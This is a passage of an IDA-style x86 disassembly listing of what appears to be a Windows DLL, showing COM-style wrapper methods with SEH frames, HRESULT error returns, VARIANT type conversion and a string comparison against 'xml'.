		mov	[esi], eax
		xor	esi, esi
		mov	[ebp-34h], esi
		jmp	short loc_69B57347
; ---------------------------------------------------------------------------


loc_69B57327:				; DATA XREF: .text:69B5736Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B57330:				; DATA XREF: .text:69B57370o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax


loc_69B57347:				; CODE XREF: sub_69B572C4+61j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B5734B:				; CODE XREF: sub_69B572C4+3Bj
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi


loc_69B5735E:				; CODE XREF: sub_69B572C4+1Ej
		call	sub_69B1853C
		retn	8
sub_69B572C4	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B57368	dd 0FFFFFFFFh			dd offset loc_69B57327
		dd offset loc_69B57330

; =============== S U B	R O U T	I N E =======================================



sub_69B57374	proc near		; DATA XREF: .text:69B28F08o
		push	2Ch
		push	offset dword_69B57438
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_69B573B4
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B43E1C
		cmp	[ebp-2Ch], bl
		jnz	short loc_69B573BB
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B573B4:				; CODE XREF: sub_69B57374+1Bj
		mov	eax, 80004005h
		jmp	short loc_69B5742E
; ---------------------------------------------------------------------------


loc_69B573BB:				; CODE XREF: sub_69B57374+2Fj
		cmp	[ebp+0Ch], ebx
		jnz	short loc_69B573C9
		mov	dword ptr [ebp-34h], 80070057h
		jmp	short loc_69B5741A
; ---------------------------------------------------------------------------


loc_69B573C9:				; CODE XREF: sub_69B57374+4Aj
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		call	sub_69B47D5E
		mov	[ebp-38h], eax
		cmp	eax, ebx
		jz	short loc_69B573EC
		mov	ecx, [esi+18h]
		mov	[ebp-3Ch], ecx
		push	eax
		call	sub_69B3D6D2
		mov	[ebp-34h], ebx
		jmp	short loc_69B57416
; ---------------------------------------------------------------------------


loc_69B573EC:				; CODE XREF: sub_69B57374+65j
		mov	dword ptr [ebp-34h], 80070057h
		jmp	short loc_69B57416
; ---------------------------------------------------------------------------


loc_69B573F5:				; DATA XREF: .text:69B5743Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B573FE:				; DATA XREF: .text:69B57440o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-34h], eax


loc_69B57416:				; CODE XREF: sub_69B57374+76j
					; sub_69B57374+7Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B5741A:				; CODE XREF: sub_69B57374+53j
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-34h]


loc_69B5742E:				; CODE XREF: sub_69B57374+45j
		call	sub_69B1853C
		retn	8
sub_69B57374	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B57438	dd 0FFFFFFFFh			dd offset loc_69B573F5
		dd offset loc_69B573FE

; =============== S U B	R O U T	I N E =======================================



sub_69B57444	proc near		; DATA XREF: .text:69B28F04o
		push	2Ch
		push	offset dword_69B574F8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B57469
		mov	eax, 80004005h
		jmp	loc_69B574E9
; ---------------------------------------------------------------------------


loc_69B57469:				; CODE XREF: sub_69B57444+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	[ebp-4], edi
		mov	ecx, [esi+38h]
		mov	[ebp-30h], ecx
		mov	[ebp-34h], ecx
		push	edi
		push	edi
		push	edi
		call	sub_69B49C1F
		mov	[ebp-38h], eax
		cmp	eax, edi
		jz	short loc_69B574A2
		mov	ecx, [eax]
		push	dword ptr [ebp+0Ch]
		push	offset dword_69B25DD4
		push	eax
		call	dword ptr [ecx]
		jmp	short loc_69B574CE
; ---------------------------------------------------------------------------


loc_69B574A2:				; CODE XREF: sub_69B57444+4Dj
		mov	eax, [ebp+0Ch]
		mov	[eax], edi
		mov	dword ptr [ebp-3Ch], 1
		jmp	short loc_69B574D1
; ---------------------------------------------------------------------------


loc_69B574B0:				; DATA XREF: .text:69B574FCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B574B9:				; DATA XREF: .text:69B57500o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B574CE:				; CODE XREF: sub_69B57444+5Cj
		mov	[ebp-3Ch], eax


loc_69B574D1:				; CODE XREF: sub_69B57444+6Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-3Ch]


loc_69B574E9:				; CODE XREF: sub_69B57444+20j
		call	sub_69B1853C
		retn	8
sub_69B57444	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B574F8	dd 0FFFFFFFFh			dd offset loc_69B574B0
		dd offset loc_69B574B9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B57504	proc near		; DATA XREF: .text:69B28F0Co

var_14		= byte ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	edi
		call	dword_69B92948
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B57521
		mov	eax, 80004005h
		jmp	short loc_69B57577
; ---------------------------------------------------------------------------


loc_69B57521:				; CODE XREF: sub_69B57504+14j
		push	esi
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+18h]
		lea	ecx, [ebp+var_14]
		push	edi
		call	sub_69B43E1C
		cmp	[ebp+var_10], bl
		jnz	short loc_69B5753D
		mov	esi, 80004005h
		jmp	short loc_69B57565
; ---------------------------------------------------------------------------


loc_69B5753D:				; CODE XREF: sub_69B57504+30j
		cmp	[ebp+arg_8], ebx
		jnz	short loc_69B57549


loc_69B57542:				; CODE XREF: sub_69B57504+48j
		mov	esi, 80070057h
		jmp	short loc_69B57565
; ---------------------------------------------------------------------------


loc_69B57549:				; CODE XREF: sub_69B57504+3Cj
		cmp	[ebp+arg_4], ebx
		jz	short loc_69B57542
		push	[ebp+arg_8]
		mov	ecx, [esi+18h]
		push	offset dword_69B25DD4
		push	ebx
		push	[ebp+arg_4]
		push	ebx
		call	sub_69B5705C
		mov	esi, eax


loc_69B57565:				; CODE XREF: sub_69B57504+37j
					; sub_69B57504+43j
		lea	ecx, [ebp+var_14]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B57577:				; CODE XREF: sub_69B57504+1Bj
		pop	edi
		pop	ebx
		leave
		retn	0Ch
sub_69B57504	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5757D	proc near		; DATA XREF: .text:69B28F24o

var_14		= byte ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B57597
		mov	eax, 80004005h
		jmp	short loc_69B575F2
; ---------------------------------------------------------------------------


loc_69B57597:				; CODE XREF: sub_69B5757D+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+18h]
		lea	ecx, [ebp+var_14]
		push	edi
		call	sub_69B43E1C
		cmp	[ebp+var_10], 0
		jnz	short loc_69B575B4
		mov	esi, 80004005h
		jmp	short loc_69B575E0
; ---------------------------------------------------------------------------


loc_69B575B4:				; CODE XREF: sub_69B5757D+2Ej
		cmp	[ebp+arg_8], 0
		jnz	short loc_69B575C1


loc_69B575BA:				; CODE XREF: sub_69B5757D+48j
		mov	esi, 80070057h
		jmp	short loc_69B575E0
; ---------------------------------------------------------------------------


loc_69B575C1:				; CODE XREF: sub_69B5757D+3Bj
		cmp	[ebp+arg_4], 0
		jz	short loc_69B575BA
		push	[ebp+arg_8]
		mov	ecx, [esi+18h]
		push	offset dword_69B25DE4
		push	0
		push	[ebp+arg_4]
		push	0Fh
		call	sub_69B5705C
		mov	esi, eax


loc_69B575E0:				; CODE XREF: sub_69B5757D+35j
					; sub_69B5757D+42j
		lea	ecx, [ebp+var_14]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B575F2:				; CODE XREF: sub_69B5757D+18j
		pop	edi
		leave
		retn	0Ch
sub_69B5757D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B575F7	proc near		; DATA XREF: .text:69B28F10o

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B57611
		mov	eax, 80004005h
		jmp	short loc_69B57658
; ---------------------------------------------------------------------------


loc_69B57611:				; CODE XREF: sub_69B575F7+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+18h]
		lea	ecx, [ebp+var_10]
		push	edi
		call	sub_69B18B3B
		cmp	[ebp+arg_4], 0
		jnz	short loc_69B5762E
		mov	esi, 80070057h
		jmp	short loc_69B57646
; ---------------------------------------------------------------------------


loc_69B5762E:				; CODE XREF: sub_69B575F7+2Ej
		push	[ebp+arg_4]
		mov	ecx, [esi+18h]
		push	offset dword_69B25E44
		push	0
		push	0
		push	11h
		call	sub_69B5705C
		mov	esi, eax


loc_69B57646:				; CODE XREF: sub_69B575F7+35j
		lea	ecx, [ebp+var_10]
		call	sub_69B18EBA
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B57658:				; CODE XREF: sub_69B575F7+18j
		pop	edi
		leave
		retn	8
sub_69B575F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5765D	proc near		; DATA XREF: .text:69B28F14o

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B57677
		mov	eax, 80004005h
		jmp	short loc_69B576BF
; ---------------------------------------------------------------------------


loc_69B57677:				; CODE XREF: sub_69B5765D+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+18h]
		lea	ecx, [ebp+var_10]
		push	edi
		call	sub_69B18B3B
		cmp	[ebp+arg_8], 0
		jnz	short loc_69B57694
		mov	esi, 80070057h
		jmp	short loc_69B576AD
; ---------------------------------------------------------------------------


loc_69B57694:				; CODE XREF: sub_69B5765D+2Ej
		push	[ebp+arg_8]
		mov	ecx, [esi+18h]
		push	offset dword_69B25DC4
		push	[ebp+arg_4]
		push	0
		push	1
		call	sub_69B5705C
		mov	esi, eax


loc_69B576AD:				; CODE XREF: sub_69B5765D+35j
		lea	ecx, [ebp+var_10]
		call	sub_69B18EBA
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B576BF:				; CODE XREF: sub_69B5765D+18j
		pop	edi
		leave
		retn	0Ch
sub_69B5765D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B576C4	proc near		; DATA XREF: .text:69B28F18o

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B576DE
		mov	eax, 80004005h
		jmp	short loc_69B57726
; ---------------------------------------------------------------------------


loc_69B576DE:				; CODE XREF: sub_69B576C4+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+18h]
		lea	ecx, [ebp+var_10]
		push	edi
		call	sub_69B18B3B
		cmp	[ebp+arg_8], 0
		jnz	short loc_69B576FB
		mov	esi, 80070057h
		jmp	short loc_69B57714
; ---------------------------------------------------------------------------


loc_69B576FB:				; CODE XREF: sub_69B576C4+2Ej
		push	[ebp+arg_8]
		mov	ecx, [esi+18h]
		push	offset dword_69B25DB4
		push	[ebp+arg_4]
		push	0
		push	2
		call	sub_69B5705C
		mov	esi, eax


loc_69B57714:				; CODE XREF: sub_69B576C4+35j
		lea	ecx, [ebp+var_10]
		call	sub_69B18EBA
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B57726:				; CODE XREF: sub_69B576C4+18j
		pop	edi
		leave
		retn	0Ch
sub_69B576C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5772B	proc near		; DATA XREF: .text:69B28F1Co

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B57745
		mov	eax, 80004005h
		jmp	short loc_69B5778D
; ---------------------------------------------------------------------------


loc_69B57745:				; CODE XREF: sub_69B5772B+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+18h]
		lea	ecx, [ebp+var_10]
		push	edi
		call	sub_69B18B3B
		cmp	[ebp+arg_8], 0
		jnz	short loc_69B57762
		mov	esi, 80070057h
		jmp	short loc_69B5777B
; ---------------------------------------------------------------------------


loc_69B57762:				; CODE XREF: sub_69B5772B+2Ej
		push	[ebp+arg_8]
		mov	ecx, [esi+18h]
		push	offset dword_69B25D94
		push	[ebp+arg_4]
		push	0
		push	6
		call	sub_69B5705C
		mov	esi, eax


loc_69B5777B:				; CODE XREF: sub_69B5772B+35j
		lea	ecx, [ebp+var_10]
		call	sub_69B18EBA
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B5778D:				; CODE XREF: sub_69B5772B+18j
		pop	edi
		leave
		retn	0Ch
sub_69B5772B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B57792	proc near		; DATA XREF: .text:69B28F20o
		push	30h
		push	offset dword_69B57888
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B577B9
		mov	eax, 80004005h
		jmp	loc_69B5787C
; ---------------------------------------------------------------------------


loc_69B577B9:				; CODE XREF: sub_69B57792+1Bj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B43E1C
		cmp	[ebp-2Ch], bl
		jnz	short loc_69B577D4
		mov	esi, 80004005h
		jmp	short loc_69B577DE
; ---------------------------------------------------------------------------


loc_69B577D4:				; CODE XREF: sub_69B57792+39j
		cmp	[ebp+14h], ebx
		jnz	short loc_69B577F4
		mov	esi, 80070057h


loc_69B577DE:				; CODE XREF: sub_69B57792+40j
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944
		mov	eax, esi
		jmp	loc_69B5787C
; ---------------------------------------------------------------------------


loc_69B577F4:				; CODE XREF: sub_69B57792+45j
		mov	[ebp-4], ebx
		push	offset aXml	; "xml"
		push	dword ptr [ebp+0Ch] ; psz1
		call	ds:StrCmpW	; StrCmpW
		mov	ecx, [esi+18h]
		test	eax, eax
		jnz	short loc_69B57829
		mov	[ebp-34h], ecx
		push	dword ptr [ebp+10h] ; lpString
		call	sub_69B3FB2F
		mov	[ebp-38h], eax
		mov	ecx, [eax]
		push	dword ptr [ebp+14h]
		push	offset dword_69B25DA4
		push	eax
		call	dword ptr [ecx]
		jmp	short loc_69B57861
; ---------------------------------------------------------------------------


loc_69B57829:				; CODE XREF: sub_69B57792+78j
		mov	[ebp-40h], ecx
		push	dword ptr [ebp+14h]
		push	offset dword_69B25DA4
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	5
		call	sub_69B5705C
		jmp	short loc_69B57861
; ---------------------------------------------------------------------------


loc_69B57843:				; DATA XREF: .text:69B5788Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5784C:				; DATA XREF: .text:69B57890o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B57861:				; CODE XREF: sub_69B57792+95j
					; sub_69B57792+AFj
		mov	[ebp-3Ch], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-3Ch]


loc_69B5787C:				; CODE XREF: sub_69B57792+22j
					; sub_69B57792+5Dj
		call	sub_69B1853C
		retn	10h
sub_69B57792	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B57888	dd 0FFFFFFFFh			dd offset loc_69B57843
		dd offset loc_69B5784C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B57894	proc near		; DATA XREF: .text:69B28F28o

var_14		= byte ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B578AE
		mov	eax, 80004005h
		jmp	short loc_69B57903
; ---------------------------------------------------------------------------


loc_69B578AE:				; CODE XREF: sub_69B57894+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+18h]
		lea	ecx, [ebp+var_14]
		push	edi
		call	sub_69B43E1C
		cmp	[ebp+var_10], 0
		jnz	short loc_69B578CB
		mov	esi, 80004005h
		jmp	short loc_69B578F1
; ---------------------------------------------------------------------------


loc_69B578CB:				; CODE XREF: sub_69B57894+2Ej
		cmp	[ebp+arg_8], 0
		jnz	short loc_69B578D8
		mov	esi, 80070057h
		jmp	short loc_69B578F1
; ---------------------------------------------------------------------------


loc_69B578D8:				; CODE XREF: sub_69B57894+3Bj
		push	[ebp+arg_8]
		mov	ecx, [esi+18h]
		push	offset dword_69B25D54
		push	0
		push	[ebp+arg_4]
		push	0Bh
		call	sub_69B5705C
		mov	esi, eax


loc_69B578F1:				; CODE XREF: sub_69B57894+35j
					; sub_69B57894+42j
		lea	ecx, [ebp+var_14]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B57903:				; CODE XREF: sub_69B57894+18j
		pop	edi
		leave
		retn	0Ch
sub_69B57894	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B57908	proc near		; DATA XREF: .text:69B28F30o
		push	3Ch
		push	offset dword_69B57A68
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		xor	esi, esi
		cmp	edi, esi
		jnz	short loc_69B5792F
		mov	eax, 80004005h
		jmp	loc_69B57A5D
; ---------------------------------------------------------------------------


loc_69B5792F:				; CODE XREF: sub_69B57908+1Bj
		mov	ebx, [ebp+8]
		push	dword ptr [ebx+18h]
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B43E1C
		cmp	byte ptr [ebp-2Ch], 0
		jnz	short loc_69B5794B
		mov	esi, 80004005h
		jmp	short loc_69B5795F
; ---------------------------------------------------------------------------


loc_69B5794B:				; CODE XREF: sub_69B57908+3Aj
		mov	word ptr [ebp-40h], 1
		mov	[ebp-44h], esi
		cmp	dword ptr [ebp+24h], 0
		jnz	short loc_69B57975
		mov	esi, 80070057h


loc_69B5795F:				; CODE XREF: sub_69B57908+41j
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944
		mov	eax, esi
		jmp	loc_69B57A5D
; ---------------------------------------------------------------------------


loc_69B57975:				; CODE XREF: sub_69B57908+50j
		push	3		; vt
		push	1		; wFlags
		lea	eax, [ebp+0Ch]
		push	eax		; pvarSrc
		lea	eax, [ebp-40h]
		push	eax		; pvargDest
		call	VariantChangeType
		test	eax, eax
		jz	short loc_69B579D6
		push	8		; vt
		push	1		; wFlags
		call	ds:GetThreadLocale	; GetThreadLocale
		push	eax		; lcid
		lea	eax, [ebp+0Ch]
		push	eax		; pvarSrc
		lea	eax, [ebp-40h]
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		test	eax, eax
		jnz	loc_69B57A38
		mov	edi, offset off_69B99AF0
		cmp	off_69B99AF0, eax
		jz	short loc_69B579D9


loc_69B579B9:				; CODE XREF: sub_69B57908+C5j
		mov	eax, [edi]
		mov	ecx, [ebp-38h]
		call	sub_69B56FD5
		test	al, al
		jnz	short loc_69B579D1
		add	edi, 8
		cmp	dword ptr [edi], 0
		jnz	short loc_69B579B9
		jmp	short loc_69B579D9
; ---------------------------------------------------------------------------


loc_69B579D1:				; CODE XREF: sub_69B57908+BDj
		mov	esi, [edi+4]
		jmp	short loc_69B579D9
; ---------------------------------------------------------------------------


loc_69B579D6:				; CODE XREF: sub_69B57908+81j
		mov	esi, [ebp-38h]


loc_69B579D9:				; CODE XREF: sub_69B57908+AFj
					; sub_69B57908+C7j ...
		test	esi, esi
		jle	short loc_69B57A38
		cmp	esi, 0Ch
		jg	short loc_69B57A38
		and	dword ptr [ebp-4], 0
		mov	ecx, [ebx+18h]
		mov	[ebp-48h], ecx
		push	1		; int
		push	dword ptr [ebp+20h] ; int
		push	dword ptr [ebp+1Ch] ; lpString
		push	dword_69B99B68[esi*4] ;	int
		call	sub_69B3E5A2
		mov	ecx, eax
		mov	[ebp-4Ch], ecx
		call	sub_69B48B01
		mov	ecx, [ebp+24h]
		mov	[ecx], eax


loc_69B57A0F:				; CODE XREF: sub_69B57908+12Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B57A3F
; ---------------------------------------------------------------------------


loc_69B57A15:				; DATA XREF: .text:69B57A6Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B57A1E:				; DATA XREF: .text:69B57A70o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-44h], eax
		jmp	short loc_69B57A0F
; ---------------------------------------------------------------------------


loc_69B57A38:				; CODE XREF: sub_69B57908+9Ej
					; sub_69B57908+D3j ...
		mov	dword ptr [ebp-44h], 80070057h


loc_69B57A3F:				; CODE XREF: sub_69B57908+10Bj
		lea	eax, [ebp-40h]
		push	eax		; pvarg
		call	VariantClear
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-44h]


loc_69B57A5D:				; CODE XREF: sub_69B57908+22j
					; sub_69B57908+68j
		call	sub_69B1853C
		retn	20h
sub_69B57908	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B57A68	dd 0FFFFFFFFh			dd offset loc_69B57A15
		dd offset loc_69B57A1E

; =============== S U B	R O U T	I N E =======================================



sub_69B57A74	proc near		; DATA XREF: .text:69B28F34o
		push	2Ch
		push	offset dword_69B57B50
		call	sub_69B19C5C
		call	dword_69B92948
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		test	ebx, ebx
		jnz	short loc_69B57A99
		mov	eax, 80004005h
		jmp	loc_69B57B47
; ---------------------------------------------------------------------------


loc_69B57A99:				; CODE XREF: sub_69B57A74+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	ebx
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_69B57AB5
		mov	edi, [ebp+10h]
		test	edi, edi
		jnz	short loc_69B57ACB


loc_69B57AB5:				; CODE XREF: sub_69B57A74+38j
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	ebx
		call	dword_69B92944
		mov	eax, 80070057h
		jmp	short loc_69B57B47
; ---------------------------------------------------------------------------


loc_69B57ACB:				; CODE XREF: sub_69B57A74+3Fj
		xor	ebx, ebx
		and	[ebp-4], ebx
		mov	esi, [esi+18h]
		mov	[ebp-30h], esi
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B1A587
		push	eax
		call	sub_69B1A2EC
		push	eax
		mov	ecx, esi
		call	sub_69B3E780
		mov	ecx, eax
		mov	[ebp-34h], ecx
		xor	eax, eax
		mov	[ebp-38h], eax
		test	ecx, ecx
		jz	short loc_69B57B02
		call	sub_69B48B01
		mov	[ebp-38h], eax


loc_69B57B02:				; CODE XREF: sub_69B57A74+84j
		mov	[edi], eax
		test	eax, eax
		jnz	short loc_69B57B30
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-3Ch], ebx
		jmp	short loc_69B57B30
; ---------------------------------------------------------------------------


loc_69B57B10:				; DATA XREF: .text:69B57B54o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B57B19:				; DATA XREF: .text:69B57B58o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B57B30:				; CODE XREF: sub_69B57A74+92j
					; sub_69B57A74+9Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B57B47:				; CODE XREF: sub_69B57A74+20j
					; sub_69B57A74+55j
		call	sub_69B1853C
		retn	0Ch
sub_69B57A74	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B57B50	dd 0FFFFFFFFh			dd offset loc_69B57B10
		dd offset loc_69B57B19

; =============== S U B	R O U T	I N E =======================================



sub_69B57B5C	proc near		; DATA XREF: .text:69B28F38o
		push	84h
		push	offset dword_69B57E98
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B57B84
		mov	eax, 80004005h
		jmp	loc_69B57E7B
; ---------------------------------------------------------------------------


loc_69B57B84:				; CODE XREF: sub_69B57B5C+1Cj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		mov	[ebp-2Ch], ebx
		mov	word ptr [ebp-3Ch], 1
		mov	[ebp-40h], ebx
		mov	[ebp-44h], ebx
		mov	[ebp-48h], ebx
		mov	[ebp-4Ch], ebx
		mov	[ebp-4Dh], bl
		cmp	[ebp+1Ch], ebx
		jnz	short loc_69B57BBC
		mov	dword ptr [ebp-2Ch], 80070057h
		jmp	loc_69B57E1A
; ---------------------------------------------------------------------------


loc_69B57BBC:				; CODE XREF: sub_69B57B5C+52j
		mov	[ebp-4], ebx
		test	byte ptr [ebp+0Dh], 20h
		jz	short loc_69B57BFB
		cmp	word ptr [ebp+0Ch], 2011h
		jnz	loc_69B57D70
		push	34h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-54h], ecx
		cmp	ecx, ebx
		jz	short loc_69B57BEB
		push	dword ptr [ebp+14h] ; psa
		call	sub_69B5663E
		jmp	short loc_69B57BED
; ---------------------------------------------------------------------------


loc_69B57BEB:				; CODE XREF: sub_69B57B5C+83j
		xor	eax, eax


loc_69B57BED:				; CODE XREF: sub_69B57B5C+8Dj
		mov	[ebp-40h], eax
		mov	eax, [esi+18h]
		mov	[ebp-58h], eax
		jmp	loc_69B57CB3
; ---------------------------------------------------------------------------


loc_69B57BFB:				; CODE XREF: sub_69B57B5C+67j
		push	ebx
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_69B88597
		mov	edi, eax
		mov	[ebp-5Ch], edi
		cmp	edi, ebx
		jz	loc_69B57CF5
		mov	eax, [edi]
		lea	ecx, [ebp-40h]
		push	ecx
		push	offset dword_69B2AFF0
		push	edi
		call	dword ptr [eax]
		test	eax, eax
		jnz	short loc_69B57C2F
		mov	eax, [esi+18h]
		mov	[ebp-60h], eax
		jmp	loc_69B57CB3
; ---------------------------------------------------------------------------


loc_69B57C2F:				; CODE XREF: sub_69B57B5C+C6j
		mov	eax, [edi]
		lea	ecx, [ebp-44h]
		push	ecx
		push	offset dword_69B2B000
		push	edi
		call	dword ptr [eax]
		test	eax, eax
		jnz	short loc_69B57C54
		push	dword ptr [ebp-44h]
		call	sub_69B38858
		mov	[ebp-40h], eax
		mov	eax, [esi+18h]
		mov	[ebp-64h], eax
